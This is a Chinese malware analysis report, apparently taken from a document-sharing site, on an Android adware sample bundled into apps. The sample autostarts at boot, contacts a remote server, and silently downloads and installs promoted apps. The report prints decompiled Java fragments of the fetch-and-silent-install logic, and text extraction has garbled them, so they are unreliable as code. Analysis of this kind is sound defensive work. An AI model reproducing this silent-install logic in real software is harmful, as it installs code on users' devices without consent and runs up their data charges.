《二维码样本分析报告》由会员分享，可在线阅读，更多相关《二维码样本分析报告（8页珍藏版）》请在金锄头文库上搜索。
1、aiplay.a 分析报告一、 样 本信息原始文件名 MD5 包名 程序图标截图766773AC0B8D7025E02D05C2620012C5.FBDAAA3D 766773AC0B8D7025E02D05C2620012C5 rexsee_id_3886.rexsee2 描述：该类应用被恶意捆绑， 开机自启动， 拥有自动在后台联网下载推广软件并静默安装的能力，给用户造成资费消耗。二、 动 态分析2.1 运行现象当程序接收到重启、解锁、网络连接状态改变等广播时，会启动 UpdateService 服务。 。图 1 联网注册广告推送图 2 获取广告推送的相应设置图 3 获取推送广告的相关信息，
2、 push 采用通知栏广告推送， silence 静默下载图 4 打日志，并上传远程服务器验证三、 综 合分析3.1 Mainfest 分析静态注册接收器： BootReceiver、 MyReceiver、 PMReceiver 和服务： UpdateService 3.2 程序结构恶意代码均集中在这个包下。 。3.3 详细分析恶意主服务 UpdateService， 启动后会注册 MyReceiver 接收器， 并调用 initData 方法。 initData方法会调用 SaveValue、 networkTool 、 downloadTool 、 notificationTool 类。
3、 。调用 NetworkTool 中的方法连接远程服务器 http:/ ，上传用户 id、版本号等信息，获取一个 json 脚本文件。 。对返回的 json 格式的数据进行解析，获得 push 和 silence 这 2 个数组。若 silence 这个数组的长度大于 0 ，则获取相关信息，并私自在后台下载应用程序，调用 SysCaller 下的callSilentInstall 方法静默安装应用图 5 对返回的 json 格式的数据进行解析，获得 push 和 silence 这 2 个数组FetchResult localFetchResult = MainTool.getPushResu
4、lts(paramString); List localList1 = localFetchResult.getPush(); if (localList1.size() 0) this.myTimer.fetchSuccess(1); Iterator localIterator1 = localList1.iterator(); while (true) if (!localIterator1.hasNext() List localList2 = localFetchResult.getSilence(); if (localList2.size() 0) this.myTimer.fe
5、tchSuccess(2); Log.w(PushService, 收到静默安装信息 ); Iterator localIterator2 = localList2.iterator(); while (localIterator2.hasNext() SilenceInfo localSilenceInfo = (SilenceInfo)localIterator2.next(); this.pushLog.log(1, 3, localSilenceInfo.getResID(), localSilenceInfo.getPushID(); if (canBypassDownload(lo
6、calSilenceInfo.getPackageName(), Integer.parseInt(localSilenceInfo.getVerCode(), localSilenceInfo.getPackageUrl(), localSilenceInfo.getPushID(), localSilenceInfo.getResID(), 2, false) continue; this.pushLog.log(3, 3, localSilenceInfo.getResID(), localSilenceInfo.getPushID(); install(localSilenceInfo
7、.getPushID(), localSilenceInfo.getResID(), localSilenceInfo.getPackageUrl(), localSilenceInfo.getInstallTime(); break; 图 6install 方法跳转到 DownloadTool 下的 silenceDown 方法静默下载应用图 7 canBypassDownload 调用 SysCaller 下的 callSilentInstall 方法静默安装应用若 silence 对应的数组为空， 则调用 NotificationTool 类的 sendPushDownload 和 se
8、ndPushDetail方法在通知栏弹广告、推送应用。用户点击下载后，会调用 canBypassDownload 方法，最后一个参数值为 true ，默认会调用 SysCaller类的 callInstall 方法弹出安装界面，提示用户进行安装。 。PushInfo localPushInfo = (PushInfo)localIterator1.next(); this.pushLog.log(1, 2, localPushInfo.getResID(), localPushInfo.getPushID(); if (localPushInfo.getPushType() = 1) if (
9、canBypassDownload(localPushInfo.getPackageName(), Integer.parseInt(localPushInfo.getVerCode(), localPushInfo.getPackageUrl(), localPushInfo.getPushID(), localPushInfo.getResID(), 1, true) continue; this.notificationTool.sendPushDownload(localPushInfo.getPushID(), localPushInfo.getTitle(), localPushI
10、nfo.getSummary(), localPushInfo.getIconUrl(), localPushInfo.getPackageUrl(), localPushInfo.getResID(); continue; if (localPushInfo.getPushType() != 2) continue; this.notificationTool.sendPushDetail(localPushInfo.getPushID(), localPushInfo.getTitle(), localPushInfo.getSummary(), localPushInfo.getIconUrl(), localPushInfo.getResID(); 图 8 通知栏推送广告应用，用户点击下载后，调用 SysCaller 类的 callInstall 方法弹出安装界面
